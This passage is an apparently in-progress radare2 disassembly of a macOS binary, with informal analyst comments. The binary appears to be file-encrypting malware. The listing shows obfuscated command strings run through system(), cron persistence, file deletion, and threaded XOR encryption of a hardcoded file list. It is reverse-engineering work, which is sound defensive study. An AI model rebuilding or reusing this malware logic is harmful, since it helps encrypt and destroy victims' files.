  372. │  ││││││   0x1000014b9      0f2805a01900.  movaps xmm0, xmmword [0x100002e60] ; [0x100002e60:16]=-1
  373. │  ││││││   0x1000014c0      0f298590c8ff.  movaps xmmword [local_3770h], xmm0
  374. │  ││││││   0x1000014c7      0f2805a21900.  movaps xmm0, xmmword [0x100002e70] ; [0x100002e70:16]=-1
  375. │  ││││││   0x1000014ce      0f2985a0c8ff.  movaps xmmword [local_3760h], xmm0
  376. │  ││││││   0x1000014d5      0f2805a41900.  movaps xmm0, xmmword [0x100002e80] ; [0x100002e80:16]=-1
  377. │  ││││││   0x1000014dc      0f2985b0c8ff.  movaps xmmword [local_3750h], xmm0
  378. │  ││││││   0x1000014e3      0f2805a61900.  movaps xmm0, xmmword [0x100002e90] ; [0x100002e90:16]=-1
  379. │  ││││││   0x1000014ea      0f2985c0c8ff.  movaps xmmword [local_3740h], xmm0
  380. │  ││││││   0x1000014f1      0f2805a81900.  movaps xmm0, xmmword [0x100002ea0] ; [0x100002ea0:16]=-1
  381. │  ││││││   0x1000014f8      0f2985d0c8ff.  movaps xmmword [local_3730h], xmm0
  382. │  ││││││   0x1000014ff      0f2805aa1900.  movaps xmm0, xmmword [0x100002eb0] ; [0x100002eb0:16]=-1
  383. │  ││││││   0x100001506      0f2985e0c8ff.  movaps xmmword [local_3720h], xmm0
  384. │  ││││││   0x10000150d      0f2805ac1900.  movaps xmm0, xmmword [0x100002ec0] ; [0x100002ec0:16]=-1
  385. │  ││││││   0x100001514      0f2985f0c8ff.  movaps xmmword [local_3710h], xmm0
  386. │  ││││││   0x10000151b      48b8b690bb4b.  movabs rax, 0x1f74871e4bbb90b6
  387. │  ││││││   0x100001525      48898500c9ff.  mov qword [local_3700h], rax
  388. │  ││││││   0x10000152c      c68508c9ffff.  mov byte [local_36f8h], 0
  389. │  ││││││   0x100001533      488dbd20c7ff.  lea rdi, [local_38e0h]     ; const void *ptr
  390. │  ││││││   0x10000153a      be01000000     mov esi, 1                 ; size_t size
  391. │  ││││││   0x10000153f      bae9010000     mov edx, 0x1e9             ; size_t nitems
  392. │  ││││││   0x100001544      4889d9         mov rcx, rbx               ; FILE *stream
  393. │  ││││││   0x100001547      e846130000     call sym.imp.fwrite        ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
  394. │  ││││││   0x10000154c      4889df         mov rdi, rbx               ; FILE *stream
  395. │  ││││││   0x10000154f      e814130000     call sym.imp.fclose        ; int fclose(FILE *stream)
  396. │  ││││││   0x100001554      0f2805751900.  movaps xmm0, xmmword [0x100002ed0] ; [0x100002ed0:16]=-1
  397. │  ││││││   0x10000155b      0f298510b9ff.  movaps xmmword [local_46f0h], xmm0
  398. │  ││││││   0x100001562      0f2805771900.  movaps xmm0, xmmword [0x100002ee0] ; [0x100002ee0:16]=-1
  399. │  ││││││   0x100001569      0f298520b9ff.  movaps xmmword [local_46e0h], xmm0
  400. │  ││││││   0x100001570      0f2805791900.  movaps xmm0, xmmword [0x100002ef0] ; [0x100002ef0:16]=-1
  401. │  ││││││   0x100001577      0f298530b9ff.  movaps xmmword [local_46d0h], xmm0
  402. │  ││││││   0x10000157e      0f28057b1900.  movaps xmm0, xmmword [0x100002f00] ; [0x100002f00:16]=-1
  403. │  ││││││   0x100001585      0f298540b9ff.  movaps xmmword [local_46c0h], xmm0
  404. │  ││││││   0x10000158c      0f28057d1900.  movaps xmm0, xmmword [0x100002f10] ; [0x100002f10:16]=-1
  405. │  ││││││   0x100001593      0f298550b9ff.  movaps xmmword [local_46b0h], xmm0
  406. │  ││││││   0x10000159a      48b87b93ead5.  movabs rax, 0x8ae29679d5ea937b
  407. │  ││││││   0x1000015a4      48898560b9ff.  mov qword [local_46a0h], rax
  408. │  ││││││   0x1000015ab      c78568b9ffff.  mov dword [local_4698h], 0xf7b29679
  409. │  ││││││   0x1000015b5      c6856cb9ffff.  mov byte [local_4694h], 0
  410. │  ││││││   0x1000015bc      488dbd10b9ff.  lea rdi, [local_46f0h]
  411. │  ││││││   0x1000015c3      e868090000     call func.homemade.decode_buffer
  412. │  ││││││   0x1000015c8      4889c1         mov rcx, rax
  413. │  ││││││   0x1000015cb      488d9d20c7ff.  lea rbx, [local_38e0h]
  414. │  ││││││   0x1000015d2      31f6           xor esi, esi               ; const char*
  415. │  ││││││   0x1000015d4      ba00040000     mov edx, 0x400             ; ...
  416. │  ││││││   0x1000015d9      31c0           xor eax, eax
  417. │  ││││││   0x1000015db      4889df         mov rdi, rbx               ; char *s
  418. │  ││││││   0x1000015de      4d89e0         mov r8, r12
  419. │  ││││││   0x1000015e1      4d89e1         mov r9, r12
  420. │  ││││││   0x1000015e4      e83d120000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  421. │  ││││││   0x1000015e9      4889df         mov rdi, rbx               ; const char * string
  422. │  ││││││   0x1000015ec      e80d130000     call sym.imp.system        ; int system(const char *string)
  423. │  ││││││   0x1000015f1      0f2805281500.  movaps xmm0, xmmword [0x100002b20] ; [0x100002b20:16]=-1
  424. │  ││││││   0x1000015f8      0f2985b0f7ff.  movaps xmmword [local_850h], xmm0
  425. │  ││││││   0x1000015ff      c685c0f7ffff.  mov byte [local_840h], 0
  426. │  ││││││   0x100001606      488dbdb0f7ff.  lea rdi, [local_850h]
  427. │  ││││││   0x10000160d      e81e090000     call func.homemade.decode_buffer
  428. │  ││││││   0x100001612      4989c7         mov r15, rax
  429. │  ││││││   0x100001615      0f2805141500.  movaps xmm0, xmmword [0x100002b30] ; [0x100002b30:16]=-1
  430. │  ││││││   0x10000161c      0f298590f7ff.  movaps xmmword [local_870h], xmm0
  431. │  ││││││   0x100001623      48b837d5f1b6.  movabs rax, 0x83f7d33eb6f1d537
  432. │  ││││││   0x10000162d      488985a0f7ff.  mov qword [local_860h], rax
  433. │  ││││││   0x100001634      66c785a8f7ff.  mov word [local_858h], 0x73 ; 's'
  434. │  ││││││   0x10000163d      488dbd90f7ff.  lea rdi, [local_870h]
  435. │  ││││││   0x100001644      e8e7080000     call func.homemade.decode_buffer
  436. │  ││││││   0x100001649      4889c1         mov rcx, rax
  437. │  ││││││   0x10000164c      4883ec08       sub rsp, 8
  438. │  ││││││   0x100001650      31f6           xor esi, esi               ; const char*
  439. │  ││││││   0x100001652      ba00040000     mov edx, 0x400             ; ...
  440. │  ││││││   0x100001657      41b92f000000   mov r9d, 0x2f              ; '/' ; "ERO"
  441. │  ││││││   0x10000165d      31c0           xor eax, eax
  442. │  ││││││   0x10000165f      4c89ef         mov rdi, r13               ; char *s
  443. │  ││││││   0x100001662      4d89f0         mov r8, r14
  444. │  ││││││   0x100001665      6a2f           push 0x2f                  ; '/' ; '/' ; "ERO"
  445. │  ││││││   0x100001667      e8ba110000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  446. │  ││││││   0x10000166c      4883c410       add rsp, 0x10
  447. │  ││││││   0x100001670      48b87cc5bc94.  movabs rax, 0x87b7c57c94bcc57c
  448. │  ││││││   0x10000167a      48898583f7ff.  mov qword [local_87dh], rax
  449. │  ││││││   0x100001681      c7858bf7ffff.  mov dword [local_875h], 0x83eadf35
  450. │  ││││││   0x10000168b      c6858ff7ffff.  mov byte [local_871h], 0
  451. │  ││││││   0x100001692      488dbd83f7ff.  lea rdi, [local_87dh]
  452. │  ││││││   0x100001699      e892080000     call func.homemade.decode_buffer
  453. │  ││││││   0x10000169e      4889c1         mov rcx, rax
  454. │  ││││││   0x1000016a1      4883ec08       sub rsp, 8
  455. │  ││││││   0x1000016a5      488d9dd0f7ff.  lea rbx, [local_830h]
  456. │  ││││││   0x1000016ac      31f6           xor esi, esi               ; const char*
  457. │  ││││││   0x1000016ae      ba00040000     mov edx, 0x400             ; ...
  458. │  ││││││   0x1000016b3      41b92f000000   mov r9d, 0x2f              ; '/' ; "ERO"
  459. │  ││││││   0x1000016b9      31c0           xor eax, eax
  460. │  ││││││   0x1000016bb      4889df         mov rdi, rbx               ; char *s
  461. │  ││││││   0x1000016be      4d89e8         mov r8, r13
  462. │  ││││││   0x1000016c1      4157           push r15
  463. │  ││││││   0x1000016c3      e85e110000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  464. │  ││││││   0x1000016c8      4883c410       add rsp, 0x10
  465. │  ││││││   0x1000016cc      31f6           xor esi, esi
  466. │  ││││││   0x1000016ce      4889df         mov rdi, rbx
  467. │  ││││││   0x1000016d1      e85c110000     call sym.imp.access
  468. │  ││││││   0x1000016d6      85c0           test eax, eax
  469. │ ┌───────< 0x1000016d8      750c           jne 0x1000016e6
  470. │ │││││││   0x1000016da      488dbdd0f7ff.  lea rdi, [local_830h]
  471. │ │││││││   0x1000016e1      e86a090000     call func.homemade.pick_random_key ; int rand(void)
  472. │ └───────> 0x1000016e6      49bf7cc5b6d9.  movabs r15, 0xb6dce406d9b6c57c
  473. │  ││││││   0x1000016f0      4c89bd83f7ff.  mov qword [local_87dh], r15
  474. │  ││││││   0x1000016f7      c7858bf7ffff.  mov dword [local_875h], 0xa8dcfb1d
  475. │  ││││││   0x100001701      c6858ff7ffff.  mov byte [local_871h], 0
  476. │  ││││││   0x100001708      488dbd83f7ff.  lea rdi, [local_87dh]
  477. │  ││││││   0x10000170f      e81c080000     call func.homemade.decode_buffer
  478. │  ││││││   0x100001714      4889c1         mov rcx, rax
  479. │  ││││││   0x100001717      31db           xor ebx, ebx
  480. │  ││││││   0x100001719      4c8db5d0fbff.  lea r14, [local_430h]
  481. │  ││││││   0x100001720      4c8d8580b9ff.  lea r8, [local_4680h]
  482. │  ││││││   0x100001727      be00000000     mov esi, 0                 ; const char*
  483. │  ││││││   0x10000172c      ba00040000     mov edx, 0x400             ; ...
  484. │  ││││││   0x100001731      31c0           xor eax, eax
  485. │  ││││││   0x100001733      4c89f7         mov rdi, r14               ; char *s
  486. │  ││││││   0x100001736      e8eb100000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  487. │  ││││││   0x10000173b      66c785cdb8ff.  mov word [local_4733h], 0x6272
  488. │  ││││││   0x100001744      c685cfb8ffff.  mov byte [local_4731h], 0
  489. │  ││││││   0x10000174b      488db5cdb8ff.  lea rsi, [local_4733h]     ; const char*
  490. │  ││││││   0x100001752      4c89f7         mov rdi, r14               ; const char * filename
  491. │  ││││││   0x100001755      e81a110000     call sym.imp.fopen         ; file*fopen(const char *filename,
  492. │  ││││││   0x10000175a      4889c7         mov rdi, rax               ; FILE *steam
  493. │  ││││││   0x10000175d      e80c110000     call sym.imp.fgetc         ; int fgetc(FILE *steam)
  494. │  ││││││   0x100001762      4189c6         mov r14d, eax
  495. │  ││││││   0x100001765      4c89e7         mov rdi, r12
  496. │  ││││││   0x100001768      e8e3080000     call func.homemade.pick_random_key ; int rand(void)
  497. │  ││││││   0x10000176d      4183fe41       cmp r14d, 0x41             ; 'A' ; 'A'
  498. │  ││││││   0x100001771      4d89fe         mov r14, r15
  499. │ ┌───────< 0x100001774      0f857c020000   jne 0x1000019f6
  500. │ │││││││   0x10000177a      0f28059f1700.  movaps xmm0, xmmword [0x100002f20] ; [0x100002f20:16]=-1
  501. │ │││││││   0x100001781      0f2985f0b8ff.  movaps xmmword [local_4710h], xmm0
  502. │ │││││││   0x100001788      c68500b9ffff.  mov byte [local_4700h], 0
  503. │ │││││││   0x10000178f      488dbdf0b8ff.  lea rdi, [local_4710h]
  504. │ │││││││   0x100001796      e895070000     call func.homemade.decode_buffer
  505. │ │││││││   0x10000179b      4889c7         mov rdi, rax               ; const char * string
  506. │ │││││││   0x10000179e      e85b110000     call sym.imp.system        ; int system(const char *string)
  507. │ │││││││   0x1000017a3      4c89b583f7ff.  mov qword [local_87dh], r14
  508. │ │││││││   0x1000017aa      c7858bf7ffff.  mov dword [local_875h], 0xa8dcfb1d
  509. │ │││││││   0x1000017b4      c6858ff7ffff.  mov byte [local_871h], 0
  510. │ │││││││   0x1000017bb      488dbd83f7ff.  lea rdi, [local_87dh]
  511. │ │││││││   0x1000017c2      e869070000     call func.homemade.decode_buffer
  512. │ │││││││   0x1000017c7      4889c1         mov rcx, rax
  513. │ │││││││   0x1000017ca      4c8dbdd0fbff.  lea r15, [local_430h]
  514. │ │││││││   0x1000017d1      4c8d8580b9ff.  lea r8, [local_4680h]
  515. │ │││││││   0x1000017d8      be00000000     mov esi, 0                 ; const char*
  516. │ │││││││   0x1000017dd      ba00040000     mov edx, 0x400             ; ...
  517. │ │││││││   0x1000017e2      31c0           xor eax, eax
  518. │ │││││││   0x1000017e4      4c89ff         mov rdi, r15               ; char *s
  519. │ │││││││   0x1000017e7      e83a100000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  520. │ │││││││   0x1000017ec      66c785cdb8ff.  mov word [local_4733h], 0x6272
  521. │ │││││││   0x1000017f5      c685cfb8ffff.  mov byte [local_4731h], 0
  522. │ │││││││   0x1000017fc      488db5cdb8ff.  lea rsi, [local_4733h]     ; const char*
  523. │ │││││││   0x100001803      4c89ff         mov rdi, r15               ; const char * filename
  524. │ │││││││   0x100001806      e869100000     call sym.imp.fopen         ; file*fopen(const char *filename,
  525. │ │││││││   0x10000180b      4989c4         mov r12, rax
  526. │ │││││││   0x10000180e      bf00040000     mov edi, 0x400             ; size_t nmeb
  527. │ │││││││   0x100001813      be01000000     mov esi, 1                 ; size_t size
  528. │ │││││││   0x100001818      e827100000     call sym.imp.calloc        ; void *calloc(size_t nmeb, size_t size)
  529. │ │││││││   0x10000181d      4989c6         mov r14, rax
  530. │ │││││││   0x100001820      be01000000     mov esi, 1                 ; size_t
  531. │ │││││││   0x100001825      ba00040000     mov edx, 0x400             ; size_t
  532. │ │││││││   0x10000182a      4c89f7         mov rdi, r14               ; void *ptr
  533. │ │││││││   0x10000182d      4c89e1         mov rcx, r12               ; FILE *stream
  534. │ │││││││   0x100001830      e84b100000     call sym.imp.fread         ; size_t fread(void *ptr, FILE *stream)
  535. │ │││││││   0x100001835      4c89e7         mov rdi, r12               ; FILE *stream
  536. │ │││││││   0x100001838      e82b100000     call sym.imp.fclose        ; int fclose(FILE *stream)
  537. │ │││││││   0x10000183d      4c89ff         mov rdi, r15               ; const char * filename
  538. │ │││││││   0x100001840      e88f100000     call sym.imp.remove        ; int remove(const char *filename)
  539. │ │││││││   0x100001845      66662e0f1f84.  nop word cs:[rax + rax]
  540. │ ────────> 0x100001850      e825100000     call sym.imp.fork
  541. │ │││││││   0x100001855      85c0           test eax, eax
  542. │ ────────< 0x100001857      0f84be010000   je 0x100001a1b
  543. │ │││││││   0x10000185d      bf01000000     mov edi, 1                 ; int s
  544. │ │││││││   0x100001862      e873100000     call sym.imp.sleep         ; int sleep(int s)
  545. │ │││││││   0x100001867      ffc3           inc ebx
  546. │ │││││││   0x100001869      81fb50c30000   cmp ebx, 0xc350
  547. │ ────────< 0x10000186f      7cdf           jl 0x100001850
  548. │ ────────< 0x100001871      e980010000     jmp 0x1000019f6
  549. │ ││││└───> 0x100001876      0f2805931200.  movaps xmm0, xmmword [0x100002b10] ; [0x100002b10:16]=-1 ; if argc == 1 (regular execution)
  550. │ ││││ ││   0x10000187d      0f2985d0b8ff.  movaps xmmword [local_4730h], xmm0
  551. │ ││││ ││   0x100001884      c785e0b8ffff.  mov dword [local_4720h], 0xf7a88060
  552. │ ││││ ││   0x10000188e      c685e4b8ffff.  mov byte [local_471ch], 0
  553. │ ││││ ││   0x100001895      488dbdd0b8ff.  lea rdi, [local_4730h]
  554. │ ││││ ││   0x10000189c      e88f060000     call func.homemade.decode_buffer
  555. │ ││││ ││   0x1000018a1      31f6           xor esi, esi               ; char* *endptr
  556. │ ││││ ││   0x1000018a3      ba0a000000     mov edx, 0xa               ; int base
  557. │ ││││ ││   0x1000018a8      4889c7         mov rdi, rax               ; const char * str
  558. │ ││││ ││   0x1000018ab      e848100000     call sym.imp.strtol        ; long strtol(const char *str, char**endptr, int base)
  559. │ ││││ ││   0x1000018b0      4889c3         mov rbx, rax
  560. │ ││││ ││   0x1000018b3      e816100000     call sym.imp.rand          ; int rand(void)
  561. │ ││││ ││   0x1000018b8      4183fe02       cmp r14d, 2
  562. │ ││││┌───< 0x1000018bc      0f8c34010000   jl 0x1000019f6
  563. │ │││││││   0x1000018c2      4c63f8         movsxd r15, eax            ; called from the crontab (or service scheduler or whatever the fuck); time to go
  564. │ │││││││   0x1000018c5      4c0faffb       imul r15, rbx
  565. │ │││││││   0x1000018c9      b901000000     mov ecx, 1
  566. │ │││││││   0x1000018ce      4c89ada0b8ff.  mov qword [local_4760h], r13
  567. │ │││││││   0x1000018d5      4489b5bcb8ff.  mov dword [local_4744h], r14d
  568. │ │││││││   0x1000018dc      0f1f4000       nop dword [rax]
  569. │ ────────> 0x1000018e0      4889a598b8ff.  mov qword [local_4768h], rsp ; more number tests and shit.
  570. if there are 129 arguments?? I need to see what this writes to cron
  571. │ │││││││   0x1000018e7      49c1e707       shl r15, 7
  572. │ │││││││   0x1000018eb      4489f2         mov edx, r14d
  573. │ │││││││   0x1000018ee      29ca           sub edx, ecx
  574. │ │││││││   0x1000018f0      81fa80000000   cmp edx, 0x80              ; rdx
  575. │ │││││││   0x1000018f6      b880000000     mov eax, 0x80              ; rdx
  576. │ │││││││   0x1000018fb      0f4fd0         cmovg edx, eax
  577. │ │││││││   0x1000018fe      488995a8b8ff.  mov qword [local_4758h], rdx
  578. │ │││││││   0x100001905      4889d0         mov rax, rdx
  579. │ │││││││   0x100001908      48c1e004       shl rax, 4
  580. │ │││││││   0x10000190c      4889e3         mov rbx, rsp
  581. │ │││││││   0x10000190f      4829c3         sub rbx, rax
  582. │ │││││││   0x100001912      4889dc         mov rsp, rbx
  583. │ │││││││   0x100001915      4489f7         mov edi, r14d
  584. │ │││││││   0x100001918      898dc0b8ffff   mov dword [local_4740h], ecx
  585. │ │││││││   0x10000191e      29cf           sub edi, ecx
  586. │ ────────< 0x100001920      0f8eb1000000   jle 0x1000019d7
  587. │ │││││││   0x100001926      48638dc0b8ff.  movsxd rcx, dword [local_4740h] ; test passed
  588. │ │││││││   0x10000192d      488b85a8b8ff.  mov rax, qword [local_4758h]
  589. │ │││││││   0x100001934      4c63e0         movsxd r12, eax
  590. │ │││││││   0x100001937      488d4308       lea rax, [rbx + 8]
  591. │ │││││││   0x10000193b      498d4ccd00     lea rcx, [r13 + rcx*8]
  592. │ │││││││   0x100001940      31d2           xor edx, edx
  593. │ │││││││   0x100001942      66666666662e.  nop word cs:[rax + rax]
  594. │ ────────> 0x100001950      488b34d1       mov rsi, qword [rcx + rdx*8] ; interweave: argv[rdx], key, argv[x], key, etc...
  595. │ │││││││   0x100001954      488970f8       mov qword [rax - 8], rsi
  596. │ │││││││   0x100001958      4c8938         mov qword [rax], r15
  597. │ │││││││   0x10000195b      48ffc2         inc rdx
  598. │ │││││││   0x10000195e      4883c010       add rax, 0x10
  599. │ │││││││   0x100001962      4c39e2         cmp rdx, r12
  600. │ ────────< 0x100001965      7ce9           jl 0x100001950
  601. │ │││││││   0x100001967      85ff           test edi, edi              ; test against failure
  602. │ ────────< 0x100001969      7e6c           jle 0x1000019d7
  603. │ │││││││   0x10000196b      89bdb8b8ffff   mov dword [local_4748h], edi
  604. │ │││││││   0x100001971      4c8db520c7ff.  lea r14, [local_38e0h]
  605. │ │││││││   0x100001978      4531ed         xor r13d, r13d
  606. │ │││││││   0x10000197b      0f1f440000     nop dword [rax + rax]
  607. | ────────> ;-- Crypto:
  608. │ ────────> 0x100001980      31f6           xor esi, esi               ; void *buf THIS is the crypto loop r12 now contains file count  
  609. nevermind, I was bamboozled again. This reads a seemingly hardcoded list of files and encrypts them.
  610. │ │││││││   0x100001982      4c89f7         mov rdi, r14               ; int fildes
  611. │ │││││││   0x100001985      488d15d40700.  lea rdx, func.homemade.encrypt_file_with_XOR ; 0x100002160 ; size_t nbyte
  612. │ │││││││   0x10000198c      4889d9         mov rcx, rbx
  613. │ │││││││   0x10000198f      e82e0f0000     call sym.imp.pthread_create ; ssize_t read(int fildes, void *buf, size_t nbyte)
  614. │ │││││││   0x100001994      49ffc5         inc r13
  615. │ │││││││   0x100001997      4983c608       add r14, 8
  616. │ │││││││   0x10000199b      4883c310       add rbx, 0x10
  617. │ │││││││   0x10000199f      4d39e5         cmp r13, r12
  618. │ ────────< 0x1000019a2      7cdc           jl 0x100001980
  619. │ │││││││   0x1000019a4      83bdb8b8ffff.  cmp dword [local_4748h], 0
  620. │ │││││││   0x1000019ab      4c8bada0b8ff.  mov r13, qword [local_4760h]
  621. │ │││││││   0x1000019b2      448bb5bcb8ff.  mov r14d, dword [local_4744h]
  622. │ ────────< 0x1000019b9      7e1c           jle 0x1000019d7
  623. │ │││││││   0x1000019bb      31db           xor ebx, ebx
  624. │ │││││││   0x1000019bd      0f1f00         nop dword [rax]
  625. │ ────────> 0x1000019c0      488bbcdd20c7.  mov rdi, qword [rbp + rbx*8 - 0x38e0] ; int fildes
  626. │ │││││││   0x1000019c8      31f6           xor esi, esi               ; void *buf
  627. │ │││││││   0x1000019ca      e8f90e0000     call sym.imp.pthread_join  ; ssize_t read(int fildes, void *buf, size_t nbyte)
  628. │ │││││││   0x1000019cf      48ffc3         inc rbx
  629. │ │││││││   0x1000019d2      4c39e3         cmp rbx, r12
  630. │ ────────< 0x1000019d5      7ce9           jl 0x1000019c0
  631. │ ────────> 0x1000019d7      488b85a8b8ff.  mov rax, qword [local_4758h]
  632. │ │││││││   0x1000019de      0385c0b8ffff   add eax, dword [local_4740h]
  633. │ │││││││   0x1000019e4      488ba598b8ff.  mov rsp, qword [local_4768h]
  634. │ │││││││   0x1000019eb      4439f0         cmp eax, r14d
  635. │ │││││││   0x1000019ee      89c1           mov ecx, eax
  636. │ ────────< 0x1000019f0      0f8ceafeffff   jl 0x1000018e0
  637. │ │││││││      ; JMP XREF from 0x100001871 (entry0)
  638. │ └───└───> 0x1000019f6      488b05031600.  mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100003000:8]=0
  639. │  │││ ││   0x1000019fd      488b00         mov rax, qword [rax]
  640. │  │││ ││   0x100001a00      483b45d0       cmp rax, qword [local_30h]
  641. │  │││┌───< 0x100001a04      0f8505010000   jne 0x100001b0f
  642. │  ││││││   0x100001a0a      31c0           xor eax, eax
  643. │  ││││││   0x100001a0c      488d65d8       lea rsp, [local_28h]
  644. │  ││││││   0x100001a10      5b             pop rbx
  645. │  ││││││   0x100001a11      415c           pop r12
  646. │  ││││││   0x100001a13      415d           pop r13
  647. │  ││││││   0x100001a15      415e           pop r14
  648. │  ││││││   0x100001a17      415f           pop r15
  649. │  ││││││   0x100001a19      5d             pop rbp
  650. │  ││││││   0x100001a1a      c3             ret
  651. │ ────────> 0x100001a1b      0f28050e1500.  movaps xmm0, xmmword [0x100002f30] ; [0x100002f30:16]=-1
  652. │  ││││││   0x100001a22      0f2985c0c1ff.  movaps xmmword [local_3e40h], xmm0
  653. │  ││││││   0x100001a29      0f2805101500.  movaps xmm0, xmmword [0x100002f40] ; [0x100002f40:16]=-1
  654. │  ││││││   0x100001a30      0f2985d0c1ff.  movaps xmmword [local_3e30h], xmm0
  655. │  ││││││   0x100001a37      c785e0c1ffff.  mov dword [local_3e20h], 0x93bce906
  656. │  ││││││   0x100001a41      c685e4c1ffff.  mov byte [local_3e1ch], 0
  657. │  ││││││   0x100001a48      488dbdc0c1ff.  lea rdi, [local_3e40h]
  658. │  ││││││   0x100001a4f      e8dc040000     call func.homemade.decode_buffer
  659. │  ││││││   0x100001a54      4889c1         mov rcx, rax
  660. │  ││││││   0x100001a57      4c8dbdd0f7ff.  lea r15, [local_830h]
  661. │  ││││││   0x100001a5e      be00000000     mov esi, 0                 ; const char*
  662. │  ││││││   0x100001a63      ba00040000     mov edx, 0x400             ; ...
  663. │  ││││││   0x100001a68      31c0           xor eax, eax
  664. │  ││││││   0x100001a6a      4c89ff         mov rdi, r15               ; char *s
  665. │  ││││││   0x100001a6d      4d89f0         mov r8, r14
  666. │  ││││││   0x100001a70      4189d9         mov r9d, ebx
  667. │  ││││││   0x100001a73      e8ae0d0000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  668. │  ││││││   0x100001a78      4c89ff         mov rdi, r15               ; const char * string
  669. │  ││││││   0x100001a7b      e87e0e0000     call sym.imp.system        ; int system(const char *string)
  670. │  ││││││   0x100001a80      0f2805c91400.  movaps xmm0, xmmword [0x100002f50] ; [0x100002f50:16]=-1
  671. │  ││││││   0x100001a87      0f298530efff.  movaps xmmword [local_10d0h], xmm0
  672. │  ││││││   0x100001a8e      0f2805cb1400.  movaps xmm0, xmmword [0x100002f60] ; [0x100002f60:16]=-1
  673. │  ││││││   0x100001a95      0f298540efff.  movaps xmmword [local_10c0h], xmm0
  674. │  ││││││   0x100001a9c      0f2805cd1400.  movaps xmm0, xmmword [0x100002f70] ; [0x100002f70:16]=-1
  675. │  ││││││   0x100001aa3      0f298550efff.  movaps xmmword [local_10b0h], xmm0
  676. │  ││││││   0x100001aaa      48b836c4e0d7.  movabs rax, 0xbab9cf14d7e0c436
  677. │  ││││││   0x100001ab4      48898560efff.  mov qword [local_10a0h], rax
  678. │  ││││││   0x100001abb      c78568efffff.  mov dword [local_1098h], 0xd0bbd538
  679. │  ││││││   0x100001ac5      c6856cefffff.  mov byte [local_1094h], 0
  680. │  ││││││   0x100001acc      488dbd30efff.  lea rdi, [local_10d0h]
  681. │  ││││││   0x100001ad3      e858040000     call func.homemade.decode_buffer
  682. │  ││││││   0x100001ad8      4889c1         mov rcx, rax
  683. │  ││││││   0x100001adb      488d9d80f3ff.  lea rbx, [local_c80h]
  684. │  ││││││   0x100001ae2      31f6           xor esi, esi               ; const char*
  685. │  ││││││   0x100001ae4      ba00040000     mov edx, 0x400             ; ...
  686. │  ││││││   0x100001ae9      31c0           xor eax, eax
  687. │  ││││││   0x100001aeb      4889df         mov rdi, rbx               ; char *s
  688. │  ││││││   0x100001aee      4d89f0         mov r8, r14
  689. │  ││││││   0x100001af1      e8300d0000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  690. │  ││││││   0x100001af6      4889df         mov rdi, rbx               ; const char * string
  691. │  ││││││   0x100001af9      e8000e0000     call sym.imp.system        ; int system(const char *string)
  692. │  ││││││   0x100001afe      31ff           xor edi, edi               ; int status
  693. │  ││││││   0x100001b00      e85d0d0000     call sym.imp.exit          ; void exit(int status)
  694. │  ││││└└─> 0x100001b05      bfffffffff     mov edi, 0xffffffff        ; -1 ; int status if the time is wrong, or the decrypt failed for XYZ reason
  695. │  ││││     0x100001b0a      e8530d0000     call sym.imp.exit          ; void exit(int status)
  696. │  │││└───> 0x100001b0f      e8180d0000     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  697. │  ││└────> 0x100001b14      0f57c0         xorps xmm0, xmm0           ; no home directory, delete everything in memory
  698. │  ││       0x100001b17      0f298580b8ff.  movaps xmmword [local_4780h], xmm0
  699. │  ││       0x100001b1e      0f298570b8ff.  movaps xmmword [local_4790h], xmm0
  700. │  ││       0x100001b25      0f298560b8ff.  movaps xmmword [local_47a0h], xmm0
  701. │  ││       0x100001b2c      0f298550b8ff.  movaps xmmword [local_47b0h], xmm0
  702. │  ││       0x100001b33      0f298540b8ff.  movaps xmmword [local_47c0h], xmm0
  703. │  ││       0x100001b3a      0f298530b8ff.  movaps xmmword [local_47d0h], xmm0
  704. │  ││       0x100001b41      0f298520b8ff.  movaps xmmword [local_47e0h], xmm0
  705. │  ││       0x100001b48      0f298510b8ff.  movaps xmmword [local_47f0h], xmm0
  706. │  ││       0x100001b4f      0f298500b8ff.  movaps xmmword [local_4800h], xmm0
  707. │  ││       0x100001b56      488dbdd0fbff.  lea rdi, [local_430h]
  708. │  ││       0x100001b5d      488db500b8ff.  lea rsi, [local_4800h]
  709. │  ││       0x100001b64      e87d0d0000     call sym.imp.stat_INODE64
  710. │  ││       0x100001b69      83f8ff         cmp eax, 0xffffffffffffffff
  711. │  ││   ┌─< 0x100001b6c      7511           jne 0x100001b7f
  712. │  ││   │   0x100001b6e      488dbdd0fbff.  lea rdi, [local_430h]
  713. │  ││   │   0x100001b75      bec0010000     mov esi, 0x1c0
  714. │  ││   │   0x100001b7a      e8310d0000     call sym.imp.mkdir
  715. │  ││   └─> 0x100001b7f      0f2805ba0f00.  movaps xmm0, xmmword [0x100002b40] ; [0x100002b40:16]=-1
  716. │  ││       0x100001b86      0f298550f3ff.  movaps xmmword [local_cb0h], xmm0
  717. │  ││       0x100001b8d      0f2805bc0f00.  movaps xmm0, xmmword [0x100002b50] ; [0x100002b50:16]=-1
  718. │  ││       0x100001b94      0f298560f3ff.  movaps xmmword [local_ca0h], xmm0
  719. │  ││       0x100001b9b      48b82099b7b1.  movabs rax, 0x83cae90ab1b79920
  720. │  ││       0x100001ba5      48898570f3ff.  mov qword [local_c90h], rax
  721. │  ││       0x100001bac      c78578f3ffff.  mov dword [local_c88h], 0xf7fcc436
  722. │  ││       0x100001bb6      c6857cf3ffff.  mov byte [local_c84h], 0
  723. │  ││       0x100001bbd      488dbd50f3ff.  lea rdi, [local_cb0h]
  724. │  ││       0x100001bc4      e867030000     call func.homemade.decode_buffer
  725. │  ││       0x100001bc9      488985c0b8ff.  mov qword [local_4740h], rax
  726. │  ││       0x100001bd0      0f2805890f00.  movaps xmm0, xmmword [0x100002b60] ; [0x100002b60:16]=-1
  727. │  ││       0x100001bd7      0f298530f3ff.  movaps xmmword [local_cd0h], xmm0
  728. │  ││       0x100001bde      c78540f3ffff.  mov dword [local_cc0h], 0x92ebd92d
  729. │  ││       0x100001be8      c68544f3ffff.  mov byte [local_cbch], 0
  730. │  ││       0x100001bef      488dbd30f3ff.  lea rdi, [local_cd0h]
  731. │  ││       0x100001bf6      e835030000     call func.homemade.decode_buffer
